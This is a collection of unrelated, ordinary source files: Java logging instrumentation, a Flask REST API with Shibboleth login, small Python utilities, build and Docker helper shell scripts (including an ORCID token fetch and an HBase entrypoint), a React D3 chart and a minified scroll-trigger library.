org.glowroot.instrumentation.engine.weaving.AdviceBuilder) @Advice.OnMethodBefore public static @Nullable Timer onBefore( @Bind.Argument(0) LogRecord record, @Bind.This Object logger, OptionalThreadContext context) { Level level = record.getLevel(); if (!((Logger) logger).isLoggable(level)) { // Logger.log(LogRecord) was called directly return null; } return onBeforeCommon(record, level, context); } @Advice.OnMethodAfter public static void onAfter(@Bind.Enter @Nullable Timer timer) { if (timer != null) { timer.stop(); } } } @Advice.Pointcut(className = "org.jboss.logmanager.LoggerNode", methodName = "publish", methodParameterTypes = {"org.jboss.logmanager.ExtLogRecord"}, nestingGroup = "logging") public static class JBossLogAdvice { @Advice.IsEnabled public static boolean isEnabled(@Bind.Argument(0) @Nullable LogRecord record) { return record != null && LoggerInstrumentationProperties.captureLevel(record.getLevel()); } @Advice.OnMethodBefore public static @Nullable Timer onBefore( @Bind.Argument(0) LogRecord record, OptionalThreadContext context) { return onBeforeCommon(record, record.getLevel(), context); } @Advice.OnMethodAfter public static void onAfter(@Bind.Enter @Nullable Timer timer) { if (timer != null) { timer.stop(); } } } private static Timer onBeforeCommon(LogRecord record, Level level, OptionalThreadContext context) { // cannot check Logger.getFilter().isLoggable(LogRecord) because the Filter object // could be stateful and might alter its state (e.g. // com.sun.mail.util.logging.DurationFilter) String formattedMessage = nullToEmpty(formatter.formatMessage(record)); int lvl = level.intValue(); Throwable t = record.getThrown(); if (LoggerInstrumentationProperties.markTraceAsError(lvl >= Level.SEVERE.intValue(), lvl >= Level.WARNING.intValue(), t != null)) { context.setTransactionError(formattedMessage, t); } context.captureLoggerSpan( new LogMessageSupplier(formattedMessage, level, record.getLoggerName()), t); return context.startTimer(TIMER_NAME); } private static String nullToEmpty(@Nullable String s) { return s == null ? "" : s; } // this is just needed for calling formatMessage in abstract super class private static class DummyFormatter extends Formatter { @Override public String format(LogRecord record) { throw new UnsupportedOperationException(); } } private static class LogMessageSupplier extends MessageSupplier { private final String messageText; private final Level level; private final @Nullable String loggerName; public LogMessageSupplier(String messageText, Level level, @Nullable String loggerName) { this.messageText = messageText; this.level = level; this.loggerName = loggerName; } @Override public Message get() { Map<String, Object> detail = new HashMap<String, Object>(2); if (level != null) { detail.put("Level", level.getName()); } if (loggerName != null) { detail.put("Logger name", loggerName); } return Message.create(messageText, detail); } } }
<gh_stars>1-10 import logging import uuid from flask import render_template import flask_restful as restful try: from flask_sso import SSO except: logging.info("flask_sso library is not installed, Shibboleth authentication will not work") from pebbles.app import app from pebbles.models import db, User from pebbles.views.commons import create_user, is_group_manager, update_email from pebbles.views.blueprint_templates import blueprint_templates, BlueprintTemplateList, BlueprintTemplateView, BlueprintTemplateCopy from pebbles.views.blueprints import blueprints, BlueprintList, BlueprintView, BlueprintCopy from pebbles.views.plugins import plugins, PluginList, PluginView from pebbles.views.users import users, UserList, UserView, UserActivationUrl, UserBlacklist, UserGroupOwner, KeypairList, CreateKeyPair, UploadKeyPair from pebbles.views.groups import groups, GroupList, GroupView, GroupJoin, GroupListExit, GroupExit, GroupUsersList, ClearUsersFromGroup from pebbles.views.notifications import NotificationList, NotificationView from pebbles.views.instances import instances, InstanceList, InstanceView, InstanceLogs, InstanceTokensList, InstanceTokensView from pebbles.views.authorize_instances import authorize_instances, AuthorizeInstancesView from pebbles.views.activations import activations, ActivationList, ActivationView from pebbles.views.firstuser import firstuser, FirstUserView from pebbles.views.myip import myip, WhatIsMyIp from pebbles.views.quota import quota, Quota, UserQuota from pebbles.views.sessions import sessions, SessionView from pebbles.views.variables import variables, PublicVariableList from pebbles.views.locks import locks, LockView from pebbles.views.stats import stats, StatsList from pebbles.views.export_stats import export_stats, ExportStatistics from pebbles.views.import_export import import_export, ImportExportBlueprintTemplates, ImportExportBlueprints from pebbles.views.namespaced_keyvalues import namespaced_keyvalues, NamespacedKeyValueList, NamespacedKeyValueView api = restful.Api(app) api_root = '/api/v1' api.add_resource(FirstUserView, api_root + '/initialize') api.add_resource(UserList, api_root + '/users', methods=['GET', 'POST', 'PATCH']) api.add_resource(UserView, api_root + '/users/<string:user_id>') api.add_resource(UserActivationUrl, api_root + '/users/<string:user_id>/user_activation_url') api.add_resource(UserBlacklist, api_root + '/users/<string:user_id>/user_blacklist') api.add_resource(UserGroupOwner, api_root + '/users/<string:user_id>/user_group_owner') api.add_resource(KeypairList, api_root + '/users/<string:user_id>/keypairs') api.add_resource(CreateKeyPair, api_root + '/users/<string:user_id>/keypairs/create') api.add_resource(UploadKeyPair, api_root + '/users/<string:user_id>/keypairs/upload') api.add_resource(GroupList, api_root + '/groups') api.add_resource(GroupView, api_root + '/groups/<string:group_id>') api.add_resource(GroupJoin, api_root + '/groups/group_join/<string:join_code>') api.add_resource(GroupListExit, api_root + '/groups/group_list_exit') api.add_resource(GroupExit, api_root + '/groups/group_exit/<string:group_id>') api.add_resource(GroupUsersList, api_root + '/groups/<string:group_id>/users') api.add_resource(ClearUsersFromGroup, api_root + '/groups/clear_users_from_group') api.add_resource(NotificationList, api_root + '/notifications') api.add_resource(NotificationView, api_root + '/notifications/<string:notification_id>') api.add_resource(SessionView, api_root + '/sessions') api.add_resource(ActivationList, api_root + '/activations') api.add_resource(ActivationView, api_root + '/activations/<string:token_id>') api.add_resource(BlueprintTemplateList, api_root + '/blueprint_templates') api.add_resource(BlueprintTemplateView, api_root + '/blueprint_templates/<string:template_id>') api.add_resource(BlueprintTemplateCopy, api_root + '/blueprint_templates/template_copy/<string:template_id>') api.add_resource(BlueprintList, api_root + '/blueprints') api.add_resource(BlueprintView, api_root + '/blueprints/<string:blueprint_id>') api.add_resource(BlueprintCopy, api_root + '/blueprints/blueprint_copy/<string:blueprint_id>') api.add_resource(InstanceList, api_root + '/instances') api.add_resource( InstanceView, api_root + '/instances/<string:instance_id>', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH']) api.add_resource( InstanceLogs, api_root + '/instances/<string:instance_id>/logs', methods=['GET', 'PATCH', 'DELETE']) api.add_resource(InstanceTokensList, api_root + '/instance_tokens') api.add_resource( InstanceTokensView, api_root + '/instance_tokens/<string:instance_id>', methods=['POST', 'DELETE']) api.add_resource(AuthorizeInstancesView, api_root + '/authorize_instances') api.add_resource(PluginList, api_root + '/plugins') api.add_resource(PluginView, api_root + '/plugins/<string:plugin_id>') api.add_resource(PublicVariableList, api_root + '/config') api.add_resource(WhatIsMyIp, api_root + '/what_is_my_ip') api.add_resource(Quota, api_root + '/quota') api.add_resource(UserQuota, api_root + '/quota/<string:user_id>') api.add_resource(LockView, api_root + '/locks/<string:lock_id>') api.add_resource(ImportExportBlueprintTemplates, api_root + '/import_export/blueprint_templates') api.add_resource(ImportExportBlueprints, api_root + '/import_export/blueprints') api.add_resource(StatsList, api_root + '/stats') api.add_resource(ExportStatistics, api_root + '/export_stats/export_statistics') api.add_resource(NamespacedKeyValueList, api_root + '/namespaced_keyvalues') api.add_resource(NamespacedKeyValueView, api_root + '/namespaced_keyvalues/<string:namespace>/<string:key>') app.register_blueprint(blueprint_templates) app.register_blueprint(blueprints) app.register_blueprint(plugins) app.register_blueprint(users) app.register_blueprint(groups) app.register_blueprint(instances) app.register_blueprint(activations) app.register_blueprint(firstuser) app.register_blueprint(myip) app.register_blueprint(sessions) app.register_blueprint(variables) app.register_blueprint(quota) app.register_blueprint(locks) app.register_blueprint(import_export) app.register_blueprint(stats) app.register_blueprint(export_stats) app.register_blueprint(namespaced_keyvalues) app.register_blueprint(authorize_instances) admin_icons = ["Dashboard", "Users", "Groups", "Blueprints", "Configure", "Statistics", "Account"] group_owner_icons = ["Dashboard", "", "Groups", "Blueprints", "", "", "Account"] group_manager_icons = ["Dashboard", "", "", "Blueprints", "", "", "Account"] user_icons = ["Dashboard", "", "", "", "", "", "Account"] if app.config['ENABLE_SHIBBOLETH_LOGIN']: sso = SSO(app=app) @sso.login_handler def login(user_info): if user_info['authmethod'] == app.config['CSC_LOGIN_AUTH_METHOD']: if user_info['accountlock'] and user_info['accountlock'] == 'true': error_description = 'Your CSC account has been locked. \ You were not authorized to access. Contact the administrator' return render_template( 'error.html', error_title='User not authorized', error_description=error_description ) else: """ Previously csc-internal-idp returned "eppn@cscuserid". Now the csc logins through AAI proxy returns eppn as "<EMAIL>". The following manipulation is required to access older accounts who logged in with cscuserid". Check if csc account is linked to haka, then eppn user-attribute is returned. if csc account is linked to virtu, then vppn user-attribute is returned. For other cases use csc email_id for now and later user name attribute (which is unique). In any case no matter what/how the csc account is linked to, it is always treated as separate account. If csc account is linked to more than one idp (say haka and virtu), then eppn from haka will be used. This will lead to a migrated-accessibilty problem(from older customer-idp) if a user has first linked to haka and then revoked and linked to virtu/anyother. """ if user_info['eppn']: eppn = user_info['eppn'].split('@')[0] + '@cscuserid' elif user_info['vppn']: eppn = user_info['vppn'].split('@')[0] + '@cscuserid' """ this is not implemented in csc LDAP yet. elif user_info['cscusername']: eppn = user_info['cscusername'] + '@cscuserid' """ else: eppn = user_info['email_id'] elif user_info['authmethod'] == app.config['VIRTU_LOGIN_AUTH_METHOD']: """ virtu login does not have eppn. Eppn is only for academics. virtu has custom attribute virtuPersonPrincipalname(VirtuLocalId+VirtuHomeOrg) which is lot like eppn. """ eppn = user_info['vppn'] elif user_info['authmethod'] == app.config['HAKA_LOGIN_AUTH_METHOD']: eppn = user_info['eppn'] else: # block all other logins error_description = 'You were not authorized to access. Contact the administrator' return render_template( 'error.html', error_title='User not authorized', error_description=error_description ) user = User.query.filter_by(eppn=eppn).first() if not user: user = create_user(eppn, password=uuid.uuid4().hex, email_id=user_info['email_id']) if not user.email_id: user = update_email(eppn, email_id=user_info['email_id']) if not user.is_active: user.is_active = True db.session.commit() if user.is_blocked: error_description = 'You have been blocked, contact your administrator' return render_template( 'error.html', error_title='User Blocked', error_description=error_description ) if user.is_admin: icons = admin_icons elif user.is_group_owner: icons = group_owner_icons elif is_group_manager(user): icons = group_manager_icons else: icons = user_icons token = user.generate_auth_token(app.config['SECRET_KEY']) return render_template( 'login.html', token=token, username=eppn, is_admin=user.is_admin, is_group_owner=user.is_group_owner, is_group_manager=is_group_manager(user), userid=user.id, icon_value=icons ) @sso.login_error_handler def login_error(user_info): error_title = 'unknown error' error_description = '' if not user_info.get('eppn'): error_title = 'Login not available' error_description = ( 'Your home organization did not return us your login attributes which prevents ' 'you from logging in. Waiting a bit might resolve this.') return render_template( 'error.html', error_title=error_title, error_description=error_description )
def combine_lists(list1, list2): output = list1 + list2 return output combined_list = combine_lists(list1, list2) print(combined_list)
jest client --config=./config/jest.config.js --coverage
#! /bin/bash # # Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # GIT_TAG should be set in format as # functions/{language_name}/{function_name}/{semver}. # e.g. "functions/go/set-namespace/v1.2.3" and "functions/ts/kubeval/v2.3.4" # You can optionally set environment variable GCR_REGISTRY # (e.g. "gcr.io/my-project"), then your image will be built as # {GCR_REGISTRY}/{function_name}:{tag}. set -euo pipefail # If GIT_TAG is not set, just skip processing. if [ -z "${GIT_TAG}" ]; then exit 0 fi scripts_dir="$(dirname "$0")" # git-tag-parser.sh has been shell-checked separately. # shellcheck source=/dev/null source "${scripts_dir}"/git-tag-parser.sh fn_lang=$(parse_git_tag lang) fn_name=$(parse_git_tag name) fn_ver=$(parse_git_tag version) if [ -d "${scripts_dir}/../functions/${fn_lang}/${fn_name}" ]; then cd "${scripts_dir}/../functions/${fn_lang}" if [ "${fn_lang}" == "go" ]; then make install-mdtogo fi DEFAULT_GCR=gcr.io/kpt-fn fi if [ -d "${scripts_dir}/../contrib/functions/${fn_lang}/${fn_name}" ]; then cd "${scripts_dir}/../contrib/functions/${fn_lang}" if [ "${fn_lang}" == "go" ]; then make install-mdtogo fi DEFAULT_GCR=gcr.io/kpt-fn-contrib fi case "$1" in build) CURRENT_FUNCTION="${fn_name}" TAG="${fn_ver}" DEFAULT_GCR="$DEFAULT_GCR" make func-build ;; push) CURRENT_FUNCTION="${fn_name}" TAG="${fn_ver}" DEFAULT_GCR="$DEFAULT_GCR" make func-push ;; *) echo "Usage: $0 {build|push}" exit 1 esac
#!/bin/bash ## Make sure there are environment variables for umls username and password if [ -z $ctakes_umlsuser ] ; then echo "Environment variable ctakes_umlsuser must be defined" exit 1 fi if [ -z $ctakes_umlspw ] ; then echo "Environment variable ctakes_umlspw must be defined" exit 1 fi ## Pass in environment variables docker run -p 8080:8080 -e ctakes_umlsuser -e ctakes_umlspw -d ctakes-web-rest
#!/bin/bash function addProperty() { local path=$1 local name=$2 local value=$3 local entry="<property><name>${name}</name><value>${value}</value></property>" local escapedEntry escapedEntry=$(echo "$entry" | sed 's/\//\\\//g') sed -i "/<\/configuration>/ s/.*/${escapedEntry}\n&/" "$path" # The & symbol indicates the pattern being matched } function configure() { local path=$1 local module=$2 local envPrefix=$3 local var local value echo "Configuring $module" for c in $(printenv | perl -sne 'print "$1 " if m/^${envPrefix}_(.+?)=.*/' -- -envPrefix="$envPrefix"); do name=$(echo "${c}" | perl -pe 's/___/-/g; s/__/@/g; s/_/./g; s/@/_/g;') var="${envPrefix}_${c}" value=${!var} echo " - Setting $name=$value" addProperty "$path" "$name" "$value" done } configure /etc/hbase/hbase-site.xml hbase HBASE_CONF function wait_for_it() { local serviceport=$1 local service=${serviceport%%:*} local port=${serviceport#*:} local retry_seconds=5 local max_try=100 (( i=1 )) nc -z "$service" "$port" result=$? until [ $result -eq 0 ]; do echo "[$i/$max_try] check for ${service}:${port}..." echo "[$i/$max_try] ${service}:${port} is not available yet" if (( i == max_try )); then echo "[$i/$max_try] ${service}:${port} is still not available; giving up after ${max_try} tries. :/" exit 1 fi echo "[$i/$max_try] try in ${retry_seconds}s once again ..." (( i++ )) sleep $retry_seconds nc -z "$service" "$port" result=$? done echo "[$i/$max_try] $service:${port} is available." } for i in "${SERVICE_PRECONDITION[@]}" do wait_for_it "${i}" done exec "$@"
def find_most_frequent(array): """Returns the most frequent element in the given array""" frequencies = {} for num in array: if num in frequencies: frequencies[num] += 1 else: frequencies[num] = 1 max_count = max(frequencies.values()) for key, value in frequencies.items(): if value == max_count: most_frequent = key return most_frequent
#!/bin/bash # # This script will display the ORCID_ACCESS_TOKEN based on # authenticating against the API. You will then need to set that value as the # environment vairable ORCID_ACCESS_TOKEN to use the other scripts in this directory. # function requireSoftware() { APP=$(which "$1") if [ "$APP" = "" ]; then echo "Missing $1, $2" exit 1 fi } function requireEnvVar() { if [ "$2" = "" ]; then echo "Missing environment variable: $1" exit 1 fi } requireSoftware "curl" "usually installed with your operating system or OS's package manager" requireSoftware "jsonrange" "See: https://caltechlibrary.github.io/datatools/" requireEnvVar "ORCID_API_URL" "$ORCID_API_URL" requireEnvVar "ORCID_CLIENT_ID" "$ORCID_CLIENT_ID" requireEnvVar "ORCID_CLIENT_SECRET" "$ORCID_CLIENT_SECRET" ORCID_ACCESS_TOKEN=$(curl -L -H "Accept: application/json" \ -d "client_id=$ORCID_CLIENT_ID" \ -d "client_secret=$ORCID_CLIENT_SECRET" \ -d "scope=/read-public" \ -d "grant_type=client_credentials" \ "$ORCID_API_URL/oauth/token" | jsoncols .access_token) echo if [ "$ORCID_ACCESS_TOKEN" != "" ]; then echo echo "export ORCID_ACCESS_TOKEN=$ORCID_ACCESS_TOKEN" echo export ORCID_ACCESS_TOKEN=$ORCID_ACCESS_TOKEN else echo "Login failed $?" fi
<gh_stars>0 import * as React from 'react' import { withDataLifecycle, DataProp } from 'react-svg-utils' import * as d3 from 'd3' interface Props { } class D3ExampleComponent extends React.Component<Props & DataProp> { svg: Element | null = null selections: any = {} render() { return ( <svg width="400" height="400" ref={el => this.svg = el}> <rect fill="#9f9" stroke="#000" strokeWidth="5" width="400" height="400" /> <g className="lines" /> <g className="points" /> </svg> ) } init() { this.selections.points = d3.select(this.svg).select('.points') this.selections.lines = d3.select(this.svg).select('.lines') } draw(data: any) { this.selections.points .selectAll('.point') .data(data) .enter() .append('circle') .attr('class', 'point') .attr('cx', (d:any) => d[0]) .attr('cy', (d:any) => d[1]) .attr('r', 3) this.selections.lines .selectAll('.line') .data(d3.pairs(data)) .enter() .append('line') .attr('class', 'line') .attr('x1', (d:any) => d[0][0]) .attr('y1', (d:any) => d[0][1]) .attr('x2', (d:any) => d[1][0]) .attr('y2', (d:any) => d[1][1]) .attr('stroke', '#333') .attr('stroke-width', 1) } } const D3ExampleChart = withDataLifecycle()(D3ExampleComponent) interface State { data: [number, number][] } export class D3Example extends React.Component<{}, State> { constructor(props: {}) { super(props) this.state = { data: [] } } onClick = () => { console.log(this.state.data) this.setState({ data: this.state.data.concat([[Math.random() * 400, Math.random() * 400]]) }) } render() { return ( <div> <div> <input type="button" value="Add Random Point" onClick={this.onClick} /> </div> <D3ExampleChart data={this.state.data} /> </div> ) } }
def removeDuplicates(list): newList = [] for element in list: if element not in newList: newList.append(element) return newList
<gh_stars>0 "use strict"; /** * Written by <NAME> on 23/06/16. * * <NAME> - development + design * https://erikterwan.com * https://github.com/terwanerik * * MIT license. */ !function () { "use strict"; var t = function t() { function t() { for (var o = s.scrollElement.innerHeight, l = 0; l < n.length; l++) { var r = n[l], a = r.getBoundingClientRect().top, c = r.getAttribute("data-scroll").split(" "), d = parseInt(void 0 != c[0] ? c[0] : 0), m = void 0 != c[1] ? c[1] : "visible", u = void 0 != c[2] ? c[2] : "invisible", w = void 0 != c[3] ? "true" == c[3] : !1;w && (a += r.offsetHeight), a += d, o > a && a > 0 ? (r.classList.contains(m) || r.classList.add(m), r.classList.contains(u) && r.classList.remove(u)) : (r.classList.contains(u) || r.classList.add(u), r.classList.contains(m) && r.classList.remove(m)); }for (var v = 0; v < i.length; v++) { var h = i[v];h.call(s, o, s.bindElement.scrollTop); }e(t); }this.scrollElement = window, this.bindElement = document.body;var n = [], i = [], e = window.requestAnimationFrame;this.init = function (i) { return function (s, o) { return void 0 != s && null != s ? i.bindElement = s : i.bindElement = document.body, void 0 != o && null != o ? i.scrollElement = o : i.scrollElement = window, n = i.bindElement.querySelectorAll("[data-scroll]"), e = window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.msRequestAnimationFrame || window.oRequestAnimationFrame || i.scrollElement.onscroll, t(), i; }; }(this), this.attach = function (t) { return function (n) { return i.push(n), t; }; }(this);var s = this; };window.ScrollTrigger = new t(); }();